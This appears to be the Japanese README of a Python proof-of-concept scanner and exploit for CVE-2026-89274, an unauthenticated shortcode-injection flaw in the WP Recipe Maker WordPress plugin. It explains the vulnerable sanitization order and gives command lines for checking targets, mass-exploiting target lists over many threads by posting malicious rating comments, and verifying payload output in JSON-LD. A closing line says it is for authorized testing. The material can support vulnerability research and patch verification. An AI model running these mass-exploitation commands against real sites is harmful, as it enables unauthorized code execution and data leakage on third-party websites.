
Python製のPoCスキャナーおよびエクスプロイト。CVE-2026-89274 は、WP Recipe Maker <=10.8.1 における、レシピ評価コメントと JSON-LD を介した未認証の任意ショートコード実行脆弱性です。
WP Recipe Maker における CVE-2026-89274 の Python 3 による PoC スキャナ/エクスプロイト。
| プラグイン | wp-recipe-maker |
| 影響を受けるバージョン | ≤ 10.8.1 |
| 修正バージョン | 10.8.2+ |
| CVSS | 9.1 (Critical) |
| 認証 | 不要 (コメント投稿) |
| CWE | CWE-94 |
WPRM_Metadata::sanitize_metadata() は、メタデータフィールドに対して strip_shortcodes() の前に do_shortcode() を実行します。承認されたレシピ評価コメント (wprm-comment-rating) は JSON-LD の reviewBody を生成し、注入されたショートコードはレシピページの読み込み時に実行され、構造化データ内で出力が漏洩する可能性があります。
要件: 悪意のあるコメントが承認されている必要があります (自動承認またはモデレーターによる承認)。エクスプロイトモードでは --verify を使用して、マーカーが JSON-LD の reviewBody に現れることを確認できます。
pip install -r requirements.txtpip install -r requirements.txt
# Check plugin version + recipe page with comment rating form
python poc.py -u https://target.example --mode check
# Mass check
python poc.py --list targets.example.txt --mode check --threads 30 --quiet
# Mass exploit from check output (candidates.jsonl)
python poc.py --list candidates.jsonl --mode exploit --threads 20 \
--shortcode "[caption]PROBE[/caption]" --verify --quiet
# Single-target exploit + JSON-LD verification
python poc.py -u https://target.example --mode exploit \
--recipe-url /some-post-with-recipe/ \
--shortcode "[caption]PROBE[/caption]" --verify
# Verify after comment approval (marker from exploit JSON)
python poc.py -u https://target.example --mode verify \
--recipe-url /some-post-with-recipe/ --marker wprm89274_abc12345
# Batch verify prior submissions (submitted_mass.txt format)
python poc.py --list submitted_mass.txt --mode verify --threads 30 --quiet \
--output verify_submitted.jsonl --vuln-list verified_leaks.txt
submitted_mass.txt の行フォーマット (verify モード)https://target.example|https://target.example/recipe-post/|post=123|marker=wprm89274_abc12345
| オプション | 説明 |
|---|---|
-u, --url | 単一ターゲットのベース URL |
--list | URL リスト、candidates.jsonl、または submitted_mass.txt (verify) |
--mode | check、exploit、または verify |
--recipe-url | WPRM レシピとコメントが埋め込まれた投稿 URL |
--post-id | WordPress の comment_post_ID |
--recipe-id | WPRM レシピ ID (オプションで --use-api) |
--shortcode | コメントテキスト内のペイロード (デフォルトはプローブショートコード) |
--marker | Verify: JSON-LD 内でマーカー部分文字列を検索 |
--verify | Exploit: 送信後に JSON-LD 内の漏洩を確認 |
--use-api | Premium ユーザー評価 REST パスも試行 |
--threads, -j | マス並列度 (デフォルト 20) |
--output | JSONL 結果 (デフォルト cve_2026_89274_results.jsonl) |
--vuln-list | ヒット/漏洩のテキスト出力 (デフォルト hits.txt) |
--candidates-list | チェックヒットのメタデータ (デフォルト candidates.jsonl) |
--quiet | マス実行時の進捗出力を減らす |
| ファイル | 内容 |
|---|---|
cve_2026_89274_results.jsonl | ターゲットごとの JSON |
hits.txt | 候補ベース URL |
candidates.jsonl | page_url、post_id、recipe_id、version |
status 値 (check)| ステータス | 意味 |
|---|---|
candidate | 脆弱なバージョン + wprm-comment-rating を含むレシピページ |
plugin_no_recipe_comments | プラグインは存在するが、適切なレシピ/コメントページが見つからない |
recipe_no_comment_rating | 評価コメントフォームのないレシピページ |
patched | バージョン ≥ 10.8.2 |
no_plugin | WP Recipe Maker が検出されない |
[caption]) を使用してください。/blog/、/recipes/) では JSON-LD の漏洩が表示されない場合があります。エクスプロイトはページ検出時に単一レシピのパーマリンクを優先します。--verify は JSON-LD への反映のみを確認し、完全な RCE を確認するものではありません。.
├── poc.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
ローカルスキャンリストと実行アーティファクト (list.txt、*.jsonl、submitted_mass.txt など) は .gitignore に含まれており、コミットしないでください。
許可されたセキュリティテストのみを目的としています。適用される法律およびプログラム規則の遵守はあなたの責任です。